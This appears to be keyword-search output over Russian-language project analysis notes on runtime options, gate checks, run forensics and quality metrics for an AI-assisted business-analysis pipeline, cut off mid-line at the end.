**\u0421\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c.** \u042d\u0442\u043e \u0433\u043e\u0442\u043e\u0432\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u044f\u0434\u0440\u0430, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0441\u0442\u043e\u0438\u0442 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u0442\u044c \u0432 \u043b\u044e\u0431\u0443\u044e \u0441\u0440\u0435\u0434\u0443, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0441\u0435\u0440\u0432\u0435\u0440 |\\n279:| \u0413-48 | n8n \u043c\u043e\u0436\u043d\u043e \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044c \u0440\u044f\u0434\u043e\u043c \u0441 Jira \u0438 Confluence \u0431\u0435\u0437 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043c\u0435\u0440 \u0437\u0430\u0449\u0438\u0442\u044b | CVE-2026-21858, CVSS 10.0, \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 ([Rapid7](https://www.rapid7.com/blog/post/etr-ni8mare-n8scape-flaws-multiple-critical-vulnerabilities-affecting-n8n/)); \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u041a\u0430\u043d\u0430\u0434\u044b ([AL26-001](https://www.cyber.gc.ca/en/alerts-advisories/al26-001-vulnerabilities-affecting-n8n-cve-2026-21858-cve-2026-21877-cve-2025-68613)); \u0441\u0435\u0440\u0438\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043c\u0430\u0440\u0442\u0430 2026 ([The Hacker News](https://thehackernews.com/2026/03/critical-n8n-flaws-allow-remote-code.html)); \u043d\u043e\u0432\u044b\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043e\u0442 2026-09-16 ([advisories](https://github.com/n8n-io/n8n/security/advisories)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435.** \u0422\u043e\u043b\u044c\u043a\u043e \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0439 \u043a\u043e\u043d\u0442\u0443\u0440, \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u0430\u044f \u0432\u0435\u0440\u0441\u0438\u044f, \u0432\u043d\u0435\u0448\u043d\u0438\u0435 task runners, \u0443\u0437\u043a\u0438\u0439 \u043a\u0440\u0443\u0433 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u043e\u0432 |\\n282:| \u0413-51 | LangGraph \u043c\u043e\u0436\u043d\u043e \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044c \u0432 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u043c \u043a\u043e\u043d\u0442\u0443\u0440\u0435 \u0431\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u043e | \u0411\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 \u2014 MIT ([LICENSE](https://github.com/langchain-ai/langgraph/blob/main/LICENSE)), \u043f\u0430\u0443\u0437\u0430 `interrupt()` \u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u0435 `Command(resume=\u2026)` ([docs](https://docs.langchain.com/oss/python/langgraph/interrupts)), \u0445\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0432 Postgres ([persistence](https://docs.langchain.com/oss/python/langgraph/persistence)). LangGraph Server \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043a\u043b\u044e\u0447 \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0438 \u0438 \u0432\u044b\u0445\u043e\u0434 \u043d\u0430 `beacon.langchain.com` ([docs](https://docs.langchain.com/langsmith/deploy-standalone-server)). \u041f\u0440\u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u0438 \u0443\u0437\u0435\u043b \u0441 `interrupt()` \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0437\u0430\u043d\u043e\u0432\u043e, \u043f\u043e\u0431\u043e\u0447\u043d\u044b\u0435 \u044d\u0444\u0444\u0435\u043a\u0442\u044b \u0434\u043e\u043b\u0436\u043d\u044b \u0431\u044b\u0442\u044c \u0438\u0434\u0435\u043c\u043f\u043e\u0442\u0435\u043d\u0442\u043d\u044b | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0412\u044b\u0431\u043e\u0440.** \u0422\u043e\u043b\u044c\u043a\u043e \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 \u0432\u043d\u0443\u0442\u0440\u0438 \u0441\u0432\u043e\u0435\u0433\u043e \u0441\u0435\u0440\u0432\u0438\u0441\u0430 (\u0412-4), \u043d\u0435 LangGraph Server |\\n327:\u0436\u0443\u0440\u043d\u0430\u043b \u0441 \u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u0432 ([\u0413-35](#\u0433-35)), \u0442\u0435\u0441\u0442\u044b runner. \u041d\u043e\u0432\u043e\u0439\\n355:| \u0414\u0432\u0438\u0436\u043e\u043a | \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442: \u0432 \u0433\u0440\u0430\u0444\u0435 15 \u0443\u0437\u043b\u043e\u0432. \u0411\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 LangGraph (MIT) \u2014 \u043a\u043e\u0433\u0434\u0430 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u044f\u0442\u0441\u044f \u043f\u0430\u0440\u0430\u043b\u043b\u0435\u043b\u044c\u043d\u044b\u0435 \u0432\u0435\u0442\u0432\u0438 \u0438\u043b\u0438 \u0432\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0435 \u0433\u0440\u0430\u0444\u044b. Temporal \u2014 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0438 \u0431\u043e\u043b\u044c\u0448\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0430\u0443\u0434\u0438\u0442\u0430 | [\u0413-51](#\u0433-51); \u0446\u0435\u043d\u0430 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 |\\n381:| Temporal (\u0412-5) | \u041a\u043b\u0430\u0441\u0442\u0435\u0440 \u0438 \u043c\u043e\u0434\u0435\u043b\u044c \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u0434\u043b\u044f \u043e\u0434\u043d\u043e\u0433\u043e \u0433\u0440\u0430\u0444\u0430 \u0438\u0437 15 \u0443\u0437\u043b\u043e\u0432; \u043d\u0435\u0442 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430 \u0434\u043b\u044f \u0411\u0410 | [RFC, \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u0430 C](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-mango-ba-ai-runtime-cli-deployment.md#L371-L375), [Temporal](https://docs.temporal.io/develop/python/message-passing) |\\n== lorem\\nprojects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md:250:| \u0413-29 | G-mach \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0448\u0430\u0433\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u044d\u0442\u043e\u0433\u043e \u0448\u0430\u0433\u0430 | `P10`: \u0442\u0435\u043a\u0441\u0442 \u00ablorem ipsum\u00bb \u043f\u0440\u0438\u043d\u044f\u0442 \u043a\u0430\u043a \u0432\u044b\u0445\u043e\u0434 n1, n2 \u0438 n3. \u0413\u0435\u0439\u0442 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0432\u0441\u0435\u0433\u043e \u043f\u0430\u043a\u0435\u0442\u0430 ([`run-task.py` L76](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L76)), \u0430 \u0441\u0445\u0435\u043c\u0430 \u0432\u044b\u0445\u043e\u0434\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f entry, n0, n4, n5, n6, n8, n12 \u0438 n13 ([L220-L233](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L220-L233)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434 \u0438 Source.** \u0423 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430 \u2014 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u044b\u0445\u043e\u0434 \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442; runner \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0432\u044b\u0445\u043e\u0434 \u0443\u0437\u043b\u0430, \u0430 \u043d\u0435 \u043f\u0430\u043a\u0435\u0442 |\\n== GigaCode API\\nprojects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md:156:| \u041c\u043e\u0434\u0435\u043b\u044c | GigaCode, \u0431\u0435\u0437 API Mango AI | Mango AI \u0447\u0435\u0440\u0435\u0437 OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 API | Qwen, \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e | Mango AI \u0447\u0435\u0440\u0435\u0437 API, \u0432\u044b\u0437\u043e\u0432 \u0438\u0437 \u043a\u043e\u0434\u0430 |\\nprojects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md:269:| \u0413-43 | \u0421\u0435\u0440\u0432\u0435\u0440\u043d\u044b\u0439 runner \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u0443\u044e \u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e | \u0421\u0440\u0435\u0434\u0430 2 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 Mango AI \u0447\u0435\u0440\u0435\u0437 OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 API ([ADR-019](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md)); \u043a\u043b\u0438\u0435\u043d\u0442 OpenAI \u0434\u043b\u044f Python \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 `base_url` ([openai-python](https://github.com/openai/openai-python)). \u0412 \u0441\u0440\u0435\u0434\u0435 1 API Mango AI \u043d\u0435\u0442 ([issue #615](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/615)). \u0421\u0435\u0442\u0435\u0432\u043e\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b\u0441\u044f | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c** \u0434\u043e\u0441\u0442\u0443\u043f \u043a endpoint Mango AI \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0434\u043e \u0432\u044b\u0431\u043e\u0440\u0430 \u0441\u0440\u0435\u0434\u044b 4 |\\n== byte\\nprojects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md:31:\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 Release \u2014 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e (\u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430\\nprojects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md:173:| \u0413-16 | \u0421\u0431\u043e\u0440\u043a\u0430 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 Release \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u044b: \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0439 Working \u0434\u0430\u0451\u0442 \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0439 Release | \u0414\u0432\u0435 \u0441\u0431\u043e\u0440\u043a\u0438 Golden \u0434\u0430\u044e\u0442 \u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0439 `release.json` (\u043f\u0440\u043e\u0431\u0430 `P5`). \u0412\u044b\u0432\u043e\u0434 \u2014 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 JSON \u0441 \u0441\u043e\u0440\u0442\u0438\u0440\u043e\u0432\u043a\u043e\u0439 \u043a\u043b\u044e\u0447\u0435\u0439 ([`canonical`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/tools/bcreq_pipeline.py#L20-L29)); `validate-release` \u043f\u0435\u0440\u0435\u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442 \u0438 \u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u0435\u0442 | \u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u041f\u0440\u0438\u043d\u044f\u0442\u044c** \u043a\u0430\u043a \u043e\u043f\u043e\u0440\u0443: \u044d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u044f \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f 6, \u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0442 Working \u0434\u043e Release |\\nprojects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md:207:| Working \u2192 Release | Runner | \u0414\u0430 | \u0412\u0441\u0451, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u0435 ([\u0413-16](#\u0433-16)) |\\n== forensics\\n60:| \u041f\u043e\u043b\u043d\u044b\u0439 \u0434\u0438\u0430\u043b\u043e\u0433 \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 run | 17 | \u0421\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0440\u0435\u043f\u043b\u0438\u043a \u0438 \u0438\u0442\u043e\u0433\u043e\u0432. |\\n73:   RUN-0026, RUN-0063 \u0438 \u043e\u0431\u0430 \u0432\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0445 \u0434\u0438\u0430\u043b\u043e\u0433\u0430 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u0440\u0430\u0437\u043d\u044b\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0435\\n80:   \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e RUN-0063\u2192RUN-0067: \u043f\u044f\u0442\u044c \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0439 \u0442\u0435\u043a\u0443\u0449\u0435\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438\\n101:| `SCOPE-01` as-is/delta | \u0412 RUN-0063 \u043f\u044f\u0442\u044c \u0438\u0437 \u0448\u0435\u0441\u0442\u0438 FR \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u0444\u0438\u043b\u044c\u0442\u0440\u044b, \u043a\u043e\u043b\u043e\u043d\u043a\u0438 \u0438\u043b\u0438 \u044d\u043a\u0441\u043f\u043e\u0440\u0442; RUN-0067 \u0443\u0434\u0430\u043b\u0438\u043b \u0438\u0445. | \u041d\u0435\u043b\u044c\u0437\u044f \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0442\u044c \u0442\u0435\u043a\u0443\u0449\u0435\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0438\u043b\u0438 \u043f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043a \u0434\u043e\u0440\u0430\u0431\u043e\u0442\u043a\u0435. | \u0414\u043e FR \u0441\u043e\u0437\u0434\u0430\u0451\u0442\u0441\u044f \u043c\u0430\u0442\u0440\u0438\u0446\u0430 `evidence \u2192 as_is \u2192 requested_delta \u2192 disposition`; \u0432 FR \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u0430\u044f delta. |\\n107:| `NFR-01` invented metric | RUN-0015 \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u043b 5 \u043c\u0438\u043d\u0443\u0442, 100 ms, 2 \u0441\u0435\u043a\u0443\u043d\u0434\u044b \u0438 24/7; \u0432\u0441\u0435 \u0447\u0438\u0441\u043b\u0430 \u0431\u044b\u043b\u0438 \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u044b \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u043c. | \u041d\u0435\u043b\u044c\u0437\u044f \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0447\u0438\u0441\u043b\u043e\u0432\u043e\u0439 target \u0438\u0437 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0438, \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438 \u0438\u043b\u0438 \u0441\u043b\u043e\u0432\u0430 \u00ab\u0431\u044b\u0441\u0442\u0440\u043e\u00bb. | NFR \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0441 quality attribute, \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u043c, condition, measure, target \u0438 provenance; \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u2014 TBD/open question. |\\n127:| RUN-0063\u2192RUN-0067 | \u041f\u044f\u0442\u044c as-is \u043f\u0441\u0435\u0432\u0434\u043e-FR \u0443\u0434\u0430\u043b\u0435\u043d\u044b; \u0434\u0435\u043b\u044c\u0442\u0430 \u0441\u0432\u0435\u0434\u0435\u043d\u0430 \u043a \u0434\u0432\u0443\u043c FR, 14 AC \u0438 \u0434\u0435\u0432\u044f\u0442\u0438 \u0432\u043e\u043f\u0440\u043e\u0441\u0430\u043c. | \u041c\u0430\u043b\u043e\u0435 \u0447\u0438\u0441\u043b\u043e capability FR + \u043f\u043e\u043b\u043d\u043e\u0435 \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u0435 \u0434\u0435\u0442\u0430\u043b\u044f\u043c\u0438 \u043b\u0443\u0447\u0448\u0435 \u0441\u043f\u0438\u0441\u043a\u0430 \u0442\u0435\u043a\u0443\u0449\u0438\u0445 UI-\u0444\u0430\u043a\u0442\u043e\u0432. |\\n325:- RUN-0063 invalid \u2192 RUN-0067 corrected;\\n327:- RUN-0015 invented numeric NFR \u2192 TBD/open question;\\n363:- `[BCREQ-1074 / RUN-0063]` communication expenses report\\n364:- `[BCREQ-1074 / RUN-0064]` error analysis and report-view specification\\n367:- `[BCREQ-1074 / RUN-0067]` detailed export rework\\n== golden\\n75:   \u0421\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0441\u0435\u043c\u044c \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b; API \u0443\u0441\u0438\u043b\u0438\u0432\u0430\u0435\u0442 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442,\\ncandidates\\ncases.yaml\\ngs-cc-01-queue-overflow.md\\ngs-cc-02-report-export.md\\ngs-cc-neg-01-inbound-vs-outbound.md\\ngs-cc-neg-02-queue-vs-group.md\\ngs-cc-neg-03-sla-vs-aht.md\\ngs-cc-neg-04-ivr-vs-announcer.md\\n== MCP\\n== M metrics\\n38:        PC[\\\"\u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441\u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d (MM-4)\\\"]\\n163:| `M-1` \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u0430\u044f \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c | \u0434\u043e\u043b\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0447\u0435\u0439 \u0441\u043a\u0435\u043b\u0435\u0442 \u0441\u043e\u0432\u043f\u0430\u043b \u0441 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u043c | \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0435 \u043f\u043e\u0434\u043f\u0438\u0441\u0435\u0439 \u0441\u043b\u043e\u0442\u043e\u0432 | \u0440\u0430\u0441\u0442\u0451\u0442; \u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f 0 (17 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u2014 17 \u0441\u043a\u0435\u043b\u0435\u0442\u043e\u0432) |\\n164:| `M-2` \u0434\u043e\u043b\u044f \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0445 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 | `G-mach` reject / \u0432\u0441\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u044b | \u0441\u0447\u0451\u0442\u0447\u0438\u043a \u0433\u0435\u0439\u0442\u0430 | \u043d\u0435\u043d\u0443\u043b\u0435\u0432\u0430\u044f: \u043d\u0443\u043b\u0435\u0432\u0430\u044f \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0433\u0435\u0439\u0442 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 |\\n165:| `M-3` \u0434\u043e\u043b\u044f \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u0430\u0432\u043e\u043a \u043f\u043e\u0441\u043b\u0435 `G-mach` | \u043f\u0440\u0430\u0432\u043a\u0438 \u043d\u0430 `G-human` / \u043f\u0440\u0438\u043d\u044f\u0442\u044b\u0435 `G-mach` | diff \u0432\u044b\u0445\u043e\u0434\u0430 | \u043f\u0430\u0434\u0430\u0435\u0442; \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u043b\u043e\u0432\u0438\u0442 \u043c\u0430\u0448\u0438\u043d\u0430, \u0430 \u0447\u0442\u043e \u043d\u0435\u0442 |\\n166:| `M-4` \u043f\u043e\u043b\u043d\u043e\u0442\u0430 \u0441\u043b\u0435\u0434\u0430 | \u0434\u043e\u043b\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u0447\u0435\u0442\u044b\u0440\u044c\u043c\u044f \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u043f\u043e\u043b\u044f\u043c\u0438 | \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 `EP-R4` | 100% \u043a\u0430\u043a \u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u043f\u0440\u0438\u0451\u043c\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 |\\n167:| `M-5` \u0434\u043e\u043b\u044f \u043f\u0443\u0441\u0442\u044b\u0445 \u0441\u043b\u043e\u0442\u043e\u0432 \u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 | \u043f\u0443\u0441\u0442\u044b\u0435 \u0441\u043b\u043e\u0442\u044b \u0441 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 / \u0432\u0441\u0435 \u043f\u0443\u0441\u0442\u044b\u0435 | \u0440\u0430\u0437\u0431\u043e\u0440 \u0448\u0430\u0431\u043b\u043e\u043d\u0430 | \u0440\u0430\u0441\u0442\u0451\u0442; \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442 \u00ab\u043d\u0435\u0442\u00bb \u043e\u0442 \u00ab\u043d\u0435 \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u043b\u0438\u00bb |\\n174:\u041f\u0435\u0440\u0435\u0441\u0435\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0442: `M-1`\u2026`M-5` \u0438\u0437\u043c\u0435\u0440\u044f\u044e\u0442 \u043f\u0440\u043e\u0433\u043e\u043d \u043f\u0430\u043a\u0435\u0442\u0430, `MP-*` \u0438 `MO-*` \u2014 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e\\n177:**\u0423\u0441\u043b\u043e\u0432\u0438\u0435 \u0447\u0435\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0437\u0430\u043c\u0435\u0440\u0430.** \u0411\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u043f\u043e `M-1`\u2026`M-3` \u0441\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f **\u0434\u043e**\\n181:**\u041f\u043e\u0440\u043e\u0433 \u0440\u0435\u0448\u0435\u043d\u0438\u044f.** \u0421\u0440\u0435\u0437 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0443\u0441\u043f\u0435\u0448\u043d\u044b\u043c, \u0435\u0441\u043b\u0438 `M-4` = 100% \u0438 `M-1` \u0437\u0430\u043c\u0435\u0442\u043d\u043e\\n182:\u0432\u044b\u0448\u0435 \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u043b\u0438\u043d\u0438\u0438 \u043f\u0440\u0438 \u043d\u0435\u043d\u0443\u043b\u0435\u0432\u043e\u043c `M-2`. \u041a\u043e\u043c\u0431\u0438\u043d\u0430\u0446\u0438\u044f \u00ab`M-1` \u0432\u044b\u0441\u043e\u043a\u0438\u0439, `M-2` = 0\u00bb\\n189:| \u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 \u043d\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u043e \u0432\u0445\u043e\u0434\u0443 | \u043f\u0440\u043e\u0433\u043e\u043d 